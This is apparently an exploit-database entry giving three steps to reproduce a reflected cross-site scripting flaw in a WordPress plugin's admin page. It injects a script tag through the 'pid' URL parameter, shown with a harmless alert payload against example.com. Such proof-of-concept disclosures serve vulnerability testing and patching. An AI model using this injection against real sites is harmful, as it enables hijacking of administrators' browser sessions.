## https://sploitus.com/exploit?id=WPEX-ID:287C4E8C-9092-4CB9-9642-E4F3D10F46FA 1. Add a new project 2. Access the URL `https://example.com/wp-admin/admin.php?page=animated_al_show&active=0&pid="><script>alert(3)</script>` 3. See the XSS